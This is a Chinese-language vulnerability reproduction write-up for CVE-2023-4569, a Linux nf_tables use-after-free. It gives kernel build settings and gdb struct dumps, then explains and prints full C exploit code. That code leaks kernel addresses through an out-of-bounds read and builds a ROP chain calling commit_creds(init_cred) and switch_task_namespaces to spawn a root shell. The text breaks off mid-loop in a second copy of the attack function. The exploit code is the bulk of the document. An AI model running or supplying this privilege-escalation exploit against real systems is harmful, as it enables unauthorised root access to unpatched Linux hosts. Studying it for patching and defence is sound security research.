CVE-2023-4569


环境搭建

commit:a7384f3918756c193e3fcd7e3111fc4bd3686013

config:defconfig+menuconfig直接保存+如下:

CONFIG_CONFIGFS_FS=y  #支持img
CONFIG_SECURITYFS=y #支持img
CONFIG_DEBUG_INFO=y #调试
CONFIG_USER_NS=y #支持新的namespace
CONFIG_USERFAULTFD=y #支持userfaultfd
CONFIG_NETFILTER=y #触发漏洞所必需
CONFIG_NF_TABLES=y #触发漏洞所必需

CONFIG_NF_TABLES_SET=y
CONFIG_NFT_SET_PIPAPO=y

#以下选项也启用了,以确保 nftables 和 Netfilter 子系统的功能完整性:
CONFIG_NETFILTER=y
CONFIG_NF_CONNTRACK=y
CONFIG_NETFILTER_ADVANCED=y
CONFIG_NETFILTER_XTABLES=y

CONFIG_NETFILTER_XTABLES=y
CONFIG_NF_DEFRAG_IPV4=y
CONFIG_NF_DEFRAG_IPV6=y
CONFIG_NF_CONNTRACK_IPV4=y
CONFIG_NF_CONNTRACK_IPV6=y

CONFIG_NF_TABLES=y
CONFIG_NF_TABLES_INET=y
CONFIG_NF_TABLES_NETDEV=y
CONFIG_NF_TABLES_BRIDGE=y

CONFIG_NF_CONNTRACK_EVENTS=y
CONFIG_NF_CT_NETLINK=y
CONFIG_NF_CT_NETLINK_TIMEOUT=y

CONFIG_NFT_CT=y
CONFIG_NFT_EXTHDR=y
CONFIG_NFT_OBJREF=y

编译出来的内核不带源码的问题

经过检查发现Makefile压根没有关于CONFIG_DEBUG_INFO的ifdef;

最终的解决方法是直接在命令行中强制生成调试符号以及源码相关信息:

sudo make  CFLAGS_KERNEL="-g" CFLAGS_MODULE="-g" -j4

调试

gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/cve/all/CVE-2023-4569/vmlinux" -ex "c"

在nft_obj_del下断点,然后condition kfree这个断点,查看nft_obj的kmem_cache如下:

然后删除所有断点,查看地址泄露后的obj:

struct nf_table:

pwndbg> p *(struct nft_table *)0xffff888102d6a000
$7 = {
list = {
next = 0x0 <fixed_percpu_data>,
prev = 0x0 <fixed_percpu_data>
},
chains_ht = {
ht = {
tbl = 0xffff888102cb1000,
key_len = 0,
max_elems = 2147483648,
p = {
nelem_hint = 0,
key_len = 0,
key_offset = 88,
head_offset = 48,
max_size = 0,
min_size = 4,
automatic_shrinking = true,
hashfn = 0xffffffff81bc1e00 <nft_chain_hash>,
obj_hashfn = 0xffffffff81bc2fc0 <nft_chain_hash_obj>,
obj_cmpfn = 0xffffffff81bc1860 <nft_chain_hash_cmp>
},
rhlist = true,
run_work = {
data = {
counter = 68719476704
},
entry = {
next = 0xffff888102d6a058,
prev = 0xffff888102d6a058
},
func = 0xffffffff81508a20 <rht_deferred_worker>
},
mutex = {
owner = {
counter = 0
},
wait_lock = {
raw_lock = {
{
val = {
counter = 0
},
{
locked = 0 '\000',
pending = 0 '\000'
},
{
locked_pending = 0,
tail = 0
}
}
}
},
osq = {
tail = {
counter = 0
}
},
wait_list = {
next = 0xffff888102d6a080,
prev = 0xffff888102d6a080
}
},
lock = {
{
rlock = {
raw_lock = {
{
val = {
counter = 0
},
{
locked = 0 '\000',
pending = 0 '\000'
},
{
locked_pending = 0,
tail = 0
}
}
}
}
}
},
nelems = {
counter = 0
}
}
},
chains = {
next = 0x0 <fixed_percpu_data>,
prev = 0x0 <fixed_percpu_data>
},
sets = {
next = 0x0 <fixed_percpu_data>,
prev = 0x0 <fixed_percpu_data>
},
objects = {
next = 0x0 <fixed_percpu_data>,
prev = 0x0 <fixed_percpu_data>
},
flowtables = {
next = 0x0 <fixed_percpu_data>,
prev = 0x0 <fixed_percpu_data>
},
hgenerator = 0,
handle = 0,
use = 0,
family = 0,
flags = 0,
genmask = 0,
nlpid = 0,
name = 0xffff888102c53340 "set-table",
udlen = 0,
udata = 0x0 <fixed_percpu_data>,
validate_state = 0 '\000'
}

nft_object

源码:

https://elixir.bootlin.com/linux/v6.4-rc7/source/net/netfilter/nf_tables_api.c#L6675

nft_set结构体定义如下:

struct nft_set {
struct list_head list;
struct list_head bindings;
struct nft_table *table;
possible_net_t net;
char *name;
u64 handle;
u32 ktype;
u32 dtype;
u32 objtype;
u32 size;
u8 field_len[NFT_REG32_COUNT];
u8 field_count;
u32 use;
atomic_t nelems;
u32 ndeact;
u64 timeout;
u32 gc_int;
u16 policy;
u16 udlen;
unsigned char *udata;
struct list_head pending_update;
/* runtime data below here */
const struct nft_set_ops *ops ____cacheline_aligned;
u16 flags:14,
genmask:2;
u8 klen;
u8 dlen;
u8 num_exprs;
struct nft_expr *exprs[NFT_SET_EXPR_MAX];
struct list_head catchall_list;
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};

nft_set_elem的定义如下:

struct nft_set_elem {
union {
u32 buf[NFT_DATA_VALUE_MAXLEN / sizeof(u32)];
struct nft_data val;
} key;
union {
u32 buf[NFT_DATA_VALUE_MAXLEN / sizeof(u32)];
struct nft_data val;
} key_end;
union {
u32 buf[NFT_DATA_VALUE_MAXLEN / sizeof(u32)];
struct nft_data val;
} data;
void *priv;
};

其priv指针所指向的内容是由函数nft_set_elem_init所创建;(这个在之前复现CVE-2023-6111中还是很熟的)

该函数如下:

void *nft_set_elem_init(const struct nft_set *set,
const struct nft_set_ext_tmpl *tmpl,
const u32 *key, const u32 *key_end,
const u32 *data, u64 timeout, u64 expiration, gfp_t gfp)
{
struct nft_set_ext *ext;
void *elem;

elem = kzalloc(set->ops->elemsize + tmpl->len, gfp);
if (elem == NULL)
return ERR_PTR(-ENOMEM);

ext = nft_set_elem_ext(set, elem);
nft_set_ext_init(ext, tmpl);

if (nft_set_ext_exists(ext, NFT_SET_EXT_KEY) &&
nft_set_ext_memcpy(tmpl, NFT_SET_EXT_KEY,
nft_set_ext_key(ext), key, set->klen) < 0)
goto err_ext_check;

if (nft_set_ext_exists(ext, NFT_SET_EXT_KEY_END) &&
nft_set_ext_memcpy(tmpl, NFT_SET_EXT_KEY_END,
nft_set_ext_key_end(ext), key_end, set->klen) < 0)
goto err_ext_check;

if (nft_set_ext_exists(ext, NFT_SET_EXT_DATA) &&
nft_set_ext_memcpy(tmpl, NFT_SET_EXT_DATA,
nft_set_ext_data(ext), data, set->dlen) < 0)
goto err_ext_check;

if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPIRATION)) {
*nft_set_ext_expiration(ext) = get_jiffies_64() + expiration;
if (expiration == 0)
*nft_set_ext_expiration(ext) += timeout;
}
if (nft_set_ext_exists(ext, NFT_SET_EXT_TIMEOUT))
*nft_set_ext_timeout(ext) = timeout;

return elem;

err_ext_check:
kfree(elem);

return ERR_PTR(-EINVAL);
}

该函数首先创建elem,为其分配空间,然后ext(扩展属性),

下面看几个小函数:

可以看到ext是通过elem的地址加一个偏移来定位的;

而nft_set_ext_obj则是对一个set的扩展属性寻找对应的obj,此时传入ext和作为idx的宏,然后在ext中的offset中进行定位;

ext的定义大致如下:

struct nft_set_ext {
u8 genmask;
u8 offset[NFT_SET_EXT_NUM];
char data[];
};

完整结构图

最终得到的完整关系图如下:

exp分析

leak

下面总结一下exp中的leak:

首先创建一个table,然后给table创建一个obj,以及3个set:pipapo、hash、hash:

之后通过新增ct_expect类型的obj增加我们目标obj的引用计数为0x2a*4:

然后利用漏洞原语把obj的引用计数降到0:(循环每执行一次引用计数会-1)

引用计数变成0,obj就可以被成功释放:

但是其实真正的引用计数并不应该是0,这里应该理解为仍然有其他的elem在引用这个obj,也就是说仍然有其他的elem可以通过某种方法来改变该obj的引用计数;这也是这个漏洞利用的难点,即UAF中的U(Use)不是很方便,只能通过改变引用计数的方式来进行;

之后重新将obj申请出来,使这个引用计数和重要字段重合:

之后通过elem_flush使引用计数再次-4,由0变成0xfc,此时与之重合的udlen字段就被篡改,可以达到oob read的目的:

attack

使用leak环节创建的table,给该table创建一个新的ct_expect类型的obj,然后和leak一样分配三个set:pipapo、hash、hash:

第一步仍然是喷射一些结构体:

第二步改变引用计数:

第三步使引用计数变成0:

第四步删除obj,造成UAF:

第五步重新分配obj使重要字段和引用计数use重合:

第六步通过elem_flush使引用计数-4:

第七步将另一个用于作为rop的obj的引用计数变成0,并删除:

然后利用创建table的udata写rop:

最后触发:

这里看一下get_setelem到底干了什么:

首先是object的ops:

何时调用ops中的函数?

经过调试发现在attack中的第二次的del_obj前,脚本并没有成功将obj_for_rop的use搞成0:

大胆假设,用set将use改成0,就会得到如下局面:

可以看到如果use变成了0,就会成功将该obj释放,然后用大量的table重新分配写入rop;

攻击时重点调试的函数:

b nf_tables_fill_expr_info

修改前的attack部分exp:

void jmp_rop(struct nl_sock * socket){
new_table(socket, SET_TABLE);
char *pipapo_set = "set pipapo for rop";
char *hash_set = "set hashtable for rop";
char *hash_set_for_expr = "set hashtable for expr";
char *target_obj = "obj_for_rop_32";
char *obj_for_rop = "obj_for_rop_a";
int i;

puts("obj_for_rop");
getchar();
new_obj_ct_expect(socket, SET_TABLE, obj_for_rop, NULL, 0);
puts("obj_for_rop done");
getchar();

new_set_pipapo(socket,SET_TABLE, pipapo_set, NFT_OBJECT_CT_EXPECT);
new_set_hashtable(socket, SET_TABLE, hash_set, NFT_OBJECT_CT_EXPECT, 8);
new_set_hashtable(socket, SET_TABLE, hash_set_for_expr, NFT_OBJECT_CT_EXPECT, 16);
char *key = malloc(0x40);
char *key_end = malloc(0x40);
uint64_t hash_key;
nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL);
//step 1
//spray some objects
char *pad = malloc(0x100);
memset(pad,'B',0x100);

char *obj_name = malloc(0x40);
memset(obj_name,0,0x40);
for(i=0;i<0x40;i++){
snprintf(obj_name,0x40,"obj_for_rop_%d",i);
new_obj_ct_expect(socket, SET_TABLE, obj_name, NULL, 0);
}
//step 2
//make target_obj->use = 0x10*4
for(i=0;i<0x10;i++){
memset(key,i,0x40);
memset(key_end,i,0x40);
new_setelem(socket, SET_TABLE, pipapo_set, pad, 0x100, target_obj, key, 0x40, key_end, 0x40,0);
}
hash_key = 0xdeadbeef;
//step 3
//make target_obj->use = 0
struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*5);
char *tmp_set = "tmp set for leak";
for(i=0;i<0x10;i++){
new_set_hashtable(socket, SET_TABLE, tmp_set, NFT_OBJECT_CT_EXPECT, 8);
new_setelem(socket, SET_TABLE, tmp_set, pad, 0x100, target_obj, NULL, 0, NULL, 0, 1);
memset(msg_list, 0, sizeof(struct nlmsghdr *)*5);
msg_list[0] = elem_flush_msg(SET_TABLE, tmp_set);
msg_list[1] = del_set_msg(SET_TABLE, tmp_set);
send_msg_list(socket, msg_list, 2);
}

//step 4
//delete target obj
del_obj(socket, SET_TABLE, target_obj, NFT_OBJECT_CT_EXPECT);
//puts("sleep for 6 seconds...");
//sleep(6);

//step 5
//get heap back
char *hash_key_16 = malloc(0x10);
memset(hash_key_16,0,0x10);
//prepare a fake expr
memset(pad,0xff,0x100);
*(uint64_t *)&pad[0] = (kernel_off + 0xffffffff8104d475)>>8;//leave ; ret

for(i=0;i<0x400;i++){
*(uint64_t *)hash_key_16 = i;
new_setelem_with_expr(socket, SET_TABLE, hash_set_for_expr, pad, 0x76, obj_for_rop, hash_key_16, 16, NULL, 0);
}

//step 6 change expr->size
elem_flush(socket, SET_TABLE, pipapo_set);

puts("before change use");
getchar();
//step 7
//make obj_for_rop->use = 0
char *ops = malloc(0x100);
for(i=0;i<0x400;i++){
*(uint64_t *)hash_key_16 = i;
new_setelem_with_expr(socket, SET_TABLE, hash_set_for_expr, pad, 0x91, obj_for_rop, hash_key_16, 16, NULL, 0);
}
puts("before del obj_for_rop");
getchar();
del_obj(socket, SET_TABLE, obj_for_rop, NFT_OBJECT_CT_EXPECT);

puts("sleep for 2 seconds...");
sleep(2);
//ops->dump
*(uint64_t *)&ops[0x40] = kernel_off + 0xffffffff8104d475;//leave ; ret
//ops->type
*(uint64_t *)&ops[0x78] = kernel_off + 0xFFFFFFFF83962480;//last type

*(uint64_t *)&ops[0x08] = kernel_off + 0xffffffff8112cfc0;//pop rdi; ret
*(uint64_t *)&ops[0x10] = kernel_off + 0xFFFFFFFF83676800;//init_cred
*(uint64_t *)&ops[0x18] = kernel_off + 0xffffffff811bed10;//commit_creds;
*(uint64_t *)&ops[0x20] = kernel_off + 0xffffffff8111415f;//pop rdi ; pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret
*(uint64_t *)&ops[0x28] = 1;
*(uint64_t *)&ops[0x58] = kernel_off + 0xffffffff811b5600;//find_task_by_vpid
*(uint64_t *)&ops[0x60] = kernel_off + 0xffffffff8112cfc0;//pop rdi; ret
*(uint64_t *)&ops[0x68] = 0;
*(uint64_t *)&ops[0x70] = kernel_off + 0xFFFFFFFF815014BE;//pop rsi; ret
*(uint64_t *)&ops[0x80] = kernel_off + 0xffffffff818624b5;//or rdi, rax ; test rdi, rdi ; setne al ; ret
*(uint64_t *)&ops[0x88] = kernel_off + 0xFFFFFFFF815014BE;//pop rsi ; ret
*(uint64_t *)&ops[0x90] = kernel_off + 0xFFFFFFFF836765C0;//init_nsproxy
*(uint64_t *)&ops[0x98] = kernel_off + 0xffffffff811bd180; //switch_task_namespaces
*(uint64_t *)&ops[0xa0] = kernel_off + 0xffffffff82141df6;//swagpgs; ret
*(uint64_t *)&ops[0xa8] = kernel_off + 0xFFFFFFFF82201157;//iretq
*(uint64_t *)&ops[0xb0] = (uint64_t)shell;
*(uint64_t *)&ops[0xb8] = user_cs;
*(uint64_t *)&ops[0xc0] = user_rflags;
*(uint64_t *)&ops[0xc8] = user_rsp|8;
*(uint64_t *)&ops[0xd0] = user_ss;

spray_tables(socket,0x1000, ops, 0xe8);

puts("before jump to rop");
getchar();

for(i=0;i<0x400;i++){
*(uint64_t *)hash_key_16 = i;
get_setelem(socket, SET_TABLE, hash_set_for_expr, hash_key_16,16);
}
}

我们看一下attack部分中的第一次使如何成功将use设置为0的:

//step 3
//make target_obj->use = 0
struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*5);
char *tmp_set = "tmp set for leak";
for(i=0;i<0x10;i++){
new_set_hashtable(socket, SET_TABLE, tmp_set, NFT_OBJECT_CT_EXPECT, 8);
new_setelem(socket, SET_TABLE, tmp_set, pad, 0x100, target_obj, NULL, 0, NULL, 0, 1);
memset(msg_list, 0, sizeof(struct nlmsghdr *)*5);
msg_list[0] = elem_flush_msg(SET_TABLE, tmp_set);
msg_list[1] = del_set_msg(SET_TABLE, tmp_set);
send_msg_list(socket, msg_list, 2);
}

好现在可以成功让use=0,然后释放,下面就是伪造这个ops,

经过调试发现如果能够顺利通过那个strlen函数则会到达如下位置:

到时候其会调用exp中提前部署的这个函数:

在这个位置:

真正函数指针调用的时候走的这个路径:

其执行方式比较有趣,将rax的值直接放到栈顶,然后ret过去:

现在我们成功进入到了劫持地址,查看相关可用寄存器:

可以看到rsi和r14指向了我们伪造的ops,然后r11是前面strlen的字符串;

至于这个strlen,我们只需要满足这几个指令不崩溃就好了:

也就是下面这个结构:

此时我们有了内核代码段的地址,所以在内核代码段进行寻找合适的布局:找一个地址,其偏移0x30的位置稳定存放一个地址:

在劫持控制流之后的rbp所指向的栈空间内正好时我们的ops:

rbp下面的那个空间则是返回地址,leave_ret的作用是将rip劫持到下面这个地址,并且将rbp剥了一层皮,rbp指向了我们的ops;此时我们需要再来一个leave_ret,就可以将栈迁移到ops上,从上图来看,这个返回地址似乎是我们所能控制的,果然,它在脚本的这个地方:

攻击成功

exp

#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <linux/netlink.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nf_tables_compat.h>
#include <netlink/msg.h>
#include <netlink/attr.h>
#include <netlink/netlink.h>
#include <netlink/netfilter/nfnl.h>

#include "obj.h"
#include "setelem.h"
#include "table.h"
#include "set.h"
#define SET_TABLE "set-table"

char *leak_data = NULL;
int table_num = 0;
uint64_t leak_ops = 0, leak_heap = 0, kernel_off = 0;
unsigned long user_cs,user_ss,user_rsp,user_rflags;

void shell(){
printf("ret2usr success! uid : %d\n",getuid());
char *args[] = {"/bin/sh", "-i", NULL};
execve(args[0], args, NULL);
//while(1);
}

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory");
}

int setup_sandbox(void) {
if (unshare(CLONE_NEWUSER) < 0) {
perror("[-] unshare(CLONE_NEWUSER)");
return -1;
}
if (unshare(CLONE_NEWNET) < 0) {
perror("[-] unshare(CLONE_NEWNET)");
return -1;
}
return 0;
}



void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){
struct nl_msg * msg = nlmsg_alloc();
//(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE);
struct nlmsghdr *hdr1 = nlmsg_put(
msg,
NL_AUTO_PORT, // auto assign current pid
NL_AUTO_SEQ, // begin wit seq number 0
NFNL_MSG_BATCH_BEGIN, // TYPE
sizeof(struct nfgenmsg),
NLM_F_REQUEST //NLM_F_ECHO
);
struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
h->nfgen_family = 2;
h->version = 0;
h->res_id = NFNL_SUBSYS_NFTABLES;
memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
struct nl_msg * msg3 = nlmsg_alloc();
struct nlmsghdr *hdr3 = nlmsg_put(
msg3,
NL_AUTO_PORT, // auto assign current pid
NL_AUTO_SEQ, // begin wit seq number 0
NFNL_MSG_BATCH_END,// TYPE
sizeof(struct nfgenmsg),
NLM_F_REQUEST //NLM_F_ECHO
);
uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
int i;
for(i=0;i<num;i++){
total_size = total_size + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
}
char *buf = malloc(total_size);
memset(buf, 0, total_size);
memcpy(buf, hdr1, NLMSG_ALIGN(hdr1->nlmsg_len));
char *off = buf + NLMSG_ALIGN(hdr1->nlmsg_len);
for(i=0;i<num;i++){
memcpy(off, msg_list[i], NLMSG_ALIGN(msg_list[i]->nlmsg_len));
off = off + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
}
memcpy(off, hdr3, NLMSG_ALIGN(hdr3->nlmsg_len));
int res = nl_sendto(socket, buf, total_size);
if (res < 0) {
printf("sending message failed\n");
}
}

int nl_callback_leak_ops(struct nl_msg* recv_msg, void* arg)
{

struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg);
struct nlattr * tb_msg[NFTA_SET_MAX+1];
memset(tb_msg, 0, NFTA_SET_MAX * 8);
//printf("Get message back!\n");

if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
//printf("Received NLMSG_ERROR message!\n");
return NL_STOP;
}

struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg));
int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg));
nla_parse(tb_msg, NFTA_SET_MAX, attr, attrlen, NULL);
char * table_name=NULL;
char * set_name=NULL;
if (tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS]){
struct nlattr * tb_msg2[NFTA_SET_MAX+1];
memset(tb_msg2, 0, NFTA_SET_MAX * 8);
nla_parse_nested(tb_msg2, NFTA_SET_MAX, tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS],NULL);

struct nlattr * tb_msg3[NFTA_SET_MAX+1];
memset(tb_msg3, 0, NFTA_SET_MAX * 8);
nla_parse_nested(tb_msg3, NFTA_SET_MAX, tb_msg2[1],NULL);
char *val = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_OBJREF]));
nla_memcpy(val, tb_msg3[NFTA_SET_ELEM_OBJREF], nla_len(tb_msg3[NFTA_SET_ELEM_OBJREF]));
printf("Get ops : %llx\n", *(uint64_t *)val);
leak_ops = *(uint64_t *)val;
}
else
printf("No NFTA_SET_ELEM_LIST_ELEMENTS\n");
return NL_OK;
}

int nl_callback_find_target_setelem(struct nl_msg* recv_msg, void* arg)
{

struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg);
struct nlattr * tb_msg[NFTA_SET_MAX+1];
memset(tb_msg, 0, NFTA_SET_MAX * 8);
//printf("Get message back!\n");

if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
//printf("Received NLMSG_ERROR message!\n");
return NL_STOP;
}

struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg));
int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg));
nla_parse(tb_msg, NFTA_SET_MAX, attr, attrlen, NULL);
char * table_name=NULL;
char * set_name=NULL;

if (tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS]){
struct nlattr * tb_msg2[NFTA_SET_MAX+1];
memset(tb_msg2, 0, NFTA_SET_MAX * 8);
nla_parse_nested(tb_msg2, NFTA_SET_MAX, tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS],NULL);

struct nlattr * tb_msg3[NFTA_SET_MAX+1];
memset(tb_msg3, 0, NFTA_SET_MAX * 8);
nla_parse_nested(tb_msg3, NFTA_SET_MAX, tb_msg2[1],NULL);
char *val = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_KEY]));
nla_memcpy(val, tb_msg3[NFTA_SET_ELEM_KEY], nla_len(tb_msg3[NFTA_SET_ELEM_KEY]));
//printf("Get key : %llx\n", *(uint64_t *)(val+4));
int udata_len = nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]);
//printf("udata len : %d\n",udata_len);
if(udata_len > 0xb0){
//get leak
printf("udata len : %d\n",udata_len);
leak_data = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]));
memset(leak_data,0,nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]));
nla_memcpy(leak_data, tb_msg3[NFTA_SET_ELEM_USERDATA], nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]));
printf("Target key : %llx\n",*(uint64_t *)(val+4));
}
}
else
printf("No NFTA_SET_ELEM_LIST_ELEMENTS\n");
return NL_OK;
}

/*
Spray the heap through the udata of nft_table. In nftables, when creating a table,
you can let the kernel malloc and fill any size of heap memory by using NFTA_TABLE_USERDATA
(the corresponding code is in the function nf_tables_newtable).
*/

void spray_tables(struct nl_sock * socket, int len, char *udata, int size){
char *tmp = malloc(0x100);
memset(tmp,0,0x100);
int i;
for(i=0;i<len;i++){
snprintf(tmp, 0x100, "table_for_leak_%ld", table_num);
new_table_with_udata(socket, tmp, udata, size);
++table_num;
}
free(tmp);
}

void leak_and_prepare_rop(struct nl_sock *socket){
int i;
char *pipapo_set = "set pipapo for leak";
char *hash_set = "set hashtable for leak";
char *hash_set_2 = "set hashtable 2 for leak";
//char *hash_set_3 = "set hashtable 3 for leak";
char *target_obj = "obj_for_leak_32";
char *obj_for_leak = "obj_for_leak_a";

new_table(socket, SET_TABLE);
new_obj_ct_expect(socket, SET_TABLE, obj_for_leak, NULL, 0);
new_set_pipapo(socket,SET_TABLE, pipapo_set, NFT_OBJECT_CT_EXPECT);
new_set_hashtable(socket, SET_TABLE, hash_set, NFT_OBJECT_CT_EXPECT, 8);
new_set_hashtable(socket, SET_TABLE, hash_set_2, NFT_OBJECT_CT_EXPECT, 8);
char *key = malloc(0x40);
char *key_end = malloc(0x40);
uint64_t hash_key;
nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL);
//step 1
//spray some objects
char *pad = malloc(0x100);
memset(pad,'C',0x100);
char *obj_name = malloc(0x40);
memset(obj_name,0,0x40);
for(i=0;i<0x40;i++){
snprintf(obj_name,0x40,"obj_for_leak_%d",i);
new_obj_ct_expect(socket, SET_TABLE, obj_name, NULL, 0);
}
//step 2
//make target_obj->use = 0x2a*4
for(i=0;i<0x29;i++){
memset(key,i,0x40);
memset(key_end,i,0x40);
new_setelem(socket, SET_TABLE, pipapo_set, pad, 0x100, target_obj, key, 0x40, key_end, 0x40, 0);
}
hash_key = 0xdeadbeef;
new_setelem(socket, SET_TABLE, hash_set_2, pad, 0x100, target_obj, &hash_key, 8, NULL, 0, 0);
//step 3
//make target_obj->use = 0

struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*5);
char *tmp_set = "tmp set for leak";
for(i=0;i<0x2a;i++){
new_set_hashtable(socket, SET_TABLE, tmp_set, NFT_OBJECT_CT_EXPECT, 8);
new_setelem(socket, SET_TABLE, tmp_set, pad, 0x100, target_obj, NULL, 0, NULL, 0, 1);
memset(msg_list, 0, sizeof(struct nlmsghdr *)*5);
msg_list[0] = elem_flush_msg(SET_TABLE, tmp_set);
msg_list[1] = del_set_msg(SET_TABLE, tmp_set);
send_msg_list(socket, msg_list, 2);
}

//step 4
//delete target obj
del_obj(socket, SET_TABLE, target_obj, NFT_OBJECT_CT_EXPECT);


//step 5
//get heap back
for(i=0;i<0x400;i++){
//printf("%d\n",i);
*(uint64_t *)pad = i;
hash_key = i;
new_setelem(socket, SET_TABLE, hash_set, pad, 0xa1, obj_for_leak, &hash_key, 8, NULL, 0,0);
}
//step 6
//make setelem->udata_len = 0xfc
elem_flush(socket, SET_TABLE, pipapo_set);
sleep(2);
//step 7 Get leak data
struct nl_sock * socket2 = nl_socket_alloc();
if(nfnl_connect(socket2)<0){
printf("nfnl_connect fail!\n");
return 0;
}
nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL);
for(i=0;i<0x400;i++){
hash_key = i;
get_setelem(socket2, SET_TABLE, hash_set, &hash_key,8);
nl_recvmsgs_default(socket2);
nl_recvmsgs_default(socket2);
}
uint64_t obj_a = *(uint64_t *)&leak_data[0xcf];
uint64_t obj_b = *(uint64_t *)&leak_data[0xcf+8];
printf("leak obj A heap : %llx\n",obj_a);
printf("leak obj B heap : %llx\n",obj_b);
elem_flush(socket, SET_TABLE, hash_set);
sleep(2);
*(uint64_t *)&pad[0x20] = obj_a + 0x80;
spray_tables(socket,0x400, pad, 0xcc);
printf("spray finish\n");
hash_key = 0xdeadbeef;
nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_leak_ops, NULL);
get_setelem(socket2, SET_TABLE, hash_set_2, &hash_key,8);
nl_recvmsgs_default(socket2);
nl_recvmsgs_default(socket2);
printf("Leak end.\n");
leak_heap = obj_a;
kernel_off = leak_ops - 0xffffffff82332b80;
printf("kernel_off == %p\n", (void *)kernel_off);
}

#include "key.h"

void jmp_rop(struct nl_sock * socket){
new_table(socket, SET_TABLE);
char *pipapo_set = "set pipapo for rop";
char *hash_set = "set hashtable for rop";
char *hash_set_for_expr = "set hashtable for expr";
char *target_obj = "obj_for_rop_32";
char *obj_for_rop = "obj_for_rop_a";
int i;

puts("obj_for_rop");
//getchar();
new_obj_ct_expect(socket, SET_TABLE, obj_for_rop, NULL, 0);
puts("obj_for_rop done");
//getchar();

new_set_pipapo(socket,SET_TABLE, pipapo_set, NFT_OBJECT_CT_EXPECT);
new_set_hashtable(socket, SET_TABLE, hash_set, NFT_OBJECT_CT_EXPECT, 8);
new_set_hashtable(socket, SET_TABLE, hash_set_for_expr, NFT_OBJECT_CT_EXPECT, 16);
char *key = malloc(0x40);
char *key_end = malloc(0x40);
uint64_t hash_key;
nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL);
//step 1
//spray some objects
char *pad = malloc(0x100);
memset(pad,'B',0x100);

char *obj_name = malloc(0x40);
memset(obj_name,0,0x40);
for(i=0;i<0x40;i++){
snprintf(obj_name,0x40,"obj_for_rop_%d",i);
new_obj_ct_expect(socket, SET_TABLE, obj_name, NULL, 0);
}
//step 2
//make target_obj->use = 0x10*4
for(i=0;i<0x10;i++){
memset(key,i,0x40);
memset(key_end,i,0x40);
new_setelem(socket, SET_TABLE, pipapo_set, pad, 0x100, target_obj, key, 0x40, key_end, 0x40,0);
}
hash_key = 0xdeadbeef;
//step 3
//make target_obj->use = 0
struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*5);
char *tmp_set = "tmp set for leak";
for(i=0;i<0x10;i++){
new_set_hashtable(socket, SET_TABLE, tmp_set, NFT_OBJECT_CT_EXPECT, 8);
new_setelem(socket, SET_TABLE, tmp_set, pad, 0x100, target_obj, NULL, 0, NULL, 0, 1);
memset(msg_list, 0, sizeof(struct nlmsghdr *)*5);
msg_list[0] = elem_flush_msg(SET_TABLE, tmp_set);
msg_list[1] = del_set_msg(SET_TABLE, tmp_set);
send_msg_list(socket, msg_list, 2);
}

//step 4
//delete target obj
del_obj(socket, SET_TABLE, target_obj, NFT_OBJECT_CT_EXPECT);
//puts("sleep for 6 seconds...");
//sleep(6);

//step 5
//get heap back
char *hash_key_16 = malloc(0x10);
memset(hash_key_16,0,0x10);
//prepare a fake expr
memset(pad,0xff,0x100);
*(uint64_t *)&pad[0] = (kernel_off + 0xffffffff81139e7b)>>8;//leave ; ret

for(i=0;i<0x400;i++){
*(uint64_t *)hash_key_16 = i;
